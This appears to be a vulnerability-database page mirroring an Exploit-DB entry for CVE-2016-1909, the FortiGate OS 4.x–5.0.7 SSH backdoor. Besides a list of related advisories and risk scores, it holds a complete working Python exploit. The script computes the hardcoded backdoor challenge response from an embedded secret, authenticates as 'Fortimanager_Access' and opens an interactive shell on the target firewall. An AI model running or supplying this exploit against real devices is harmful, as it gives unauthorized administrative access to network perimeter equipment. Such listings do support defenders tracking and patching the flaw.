Lucene search
+L

Fortinet FortiGate 4.x < 5.0.7 - SSH Backdoor Access

🗓️ 09 Jan 2016 00:00:00Reported by operator8203Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 106 Views

Fortinet FortiGate 4.x &lt; 5.0.7 SSH Backdoor Access Python Scrip

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
FortiOS FortiAnalyzer FortiSwitch Information Disclosure
28 Jan 201600:00
–bdu_fstec
circl
Circl
CVE-2016-1909
29 May 201815:50
–circl
cnvd
CNVD
Fortinet FortiOS Information Disclosure Vulnerability (CNVD-2016-00441)
21 Jan 201600:00
–cnvd
checkpoint_advisories
Check Point Advisories
Fortinet FortiOS SSH backdoor (CVE-2016-1909) - Ver2
5 Jul 201800:00
–checkpoint_advisories
cve
CVE
CVE-2016-1909
15 Jan 201620:00
–cve
cvelist
Cvelist
CVE-2016-1909
15 Jan 201620:00
–cvelist
exploitdb
Exploit DB
FortiGate OS Version 4.x - 5.0.7 - SSH Backdoor
12 Jan 201600:00
–exploitdb
fortinet
Fortinet
Multiple Products SSH Undocumented Login Vulnerability
12 Jan 201600:00
–fortinet
nessus
Tenable Nessus
Fortinet FortiOS SSH Undocumented Interactive Login Vulnerability
13 Jan 201600:00
–nessus
kitploit
Kitploit
labs
21 Oct 202621:05
–kitploit
Rows per page
#!/usr/bin/env python

# SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7
# Usage: ./fgt_ssh_backdoor.py <target-ip>

import socket
import select
import sys
import paramiko
from paramiko.py3compat import u
import base64
import hashlib
import termios
import tty

def custom_handler(title, instructions, prompt_list):
    n = prompt_list[0][0]
    m = hashlib.sha1()
    m.update('\x00' * 12)
    m.update(n + 'FGTAbc11*xy+Qqz27')
    m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
    h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())
    return [h]


def main():
    if len(sys.argv) < 2:
        print 'Usage: ' + sys.argv[0] + ' <target-ip>'
        exit(-1)

    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:
        client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False)
    except paramiko.ssh_exception.SSHException:
        pass

    trans = client.get_transport()
    try:
        trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
    except paramiko.ssh_exception.AuthenticationException:
        pass

    trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)
    chan = client.invoke_shell()

    oldtty = termios.tcgetattr(sys.stdin)
    try:
        tty.setraw(sys.stdin.fileno())
        tty.setcbreak(sys.stdin.fileno())
        chan.settimeout(0.0)

        while True:
            r, w, e = select.select([chan, sys.stdin], [], [])
            if chan in r:
                try:
                    x = u(chan.recv(1024))
                    if len(x) == 0:
                        sys.stdout.write('\r\n*** EOF\r\n')
                        break
                    sys.stdout.write(x)
                    sys.stdout.flush()
                except socket.timeout:
                    pass
            if sys.stdin in r:
                x = sys.stdin.read(1)
                if len(x) == 0:
                    break
                chan.send(x)

    finally:
        termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)


if __name__ == '__main__':
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jan 2018 00:00Current
8.2High risk
Vulners AI Score8.2
CVSS 39.8
CVSS 210
EPSS0.71268
106